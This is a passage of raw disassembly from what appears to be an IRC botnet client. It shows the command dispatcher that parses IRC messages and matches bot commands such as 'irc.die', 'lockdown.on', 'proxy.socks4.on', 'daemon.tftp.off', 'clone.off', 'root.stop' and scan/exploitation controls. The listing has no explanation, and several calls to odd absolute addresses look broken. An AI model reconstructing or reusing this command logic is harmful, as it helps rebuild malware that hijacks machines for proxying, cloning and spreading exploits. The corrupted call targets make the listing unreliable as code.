		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0

loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E

loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE

loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_4386D8

loc_40F422:				; CODE XREF: sub_40EE72+5B47j
					; sub_40EE72+5E96j ...
		call	sub_40BFE1
		pop	ecx

loc_40F428:				; CODE XREF: sub_40EE72+5FABj
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4386A8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_4386A4
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		cmp	dword_42F5B8, ebx
		jz	loc_414F47

loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi

loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_43869C
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438658
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	loc_40F7EF

loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_40F659
; ---------------------------------------------------------------------------

loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1

loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB

loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax

loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------

loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]

loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_43864C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_489DD0
		mov	eax, off_42F6CC[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_438630
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_489CDC

loc_40F7A0:				; CODE XREF: sub_40EE72+58C1j
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_43860C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_4385F4
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_4385AC
		jmp	loc_40F95B
; ---------------------------------------------------------------------------

loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_43855C

loc_40F813:				; CODE XREF: sub_40EE72+6177j
					; sub_40EE72+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438524
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40F933

loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	near ptr 26003D2h
		nop
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------

loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_4384E0
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4384A0
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438460

loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239

loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_4386A4
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47

loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F47
		xor	edi, edi
		cmp	dword_4313B4, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_444340

loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4313B4
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------

loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_4387B4 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_444358[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_444340[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------

loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h

loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch

loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1

loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F

loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h

loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_43841C ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E

loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------

loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730C
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------

loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh

loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx

loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_438364

loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FEA
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_438340
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_438330
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_438324
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_43831C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_438310
		push	offset dword_438304
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4382E0
		push	offset dword_4382D0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_4382C4
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_4382B8
		push	offset dword_4382AC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_43829C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_438290
		push	offset dword_438284
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_438274
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_438268
		push	offset dword_43825C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_43824C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_438240
		push	offset dword_438234
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4

loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_438218
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_4381B8
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_438190
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
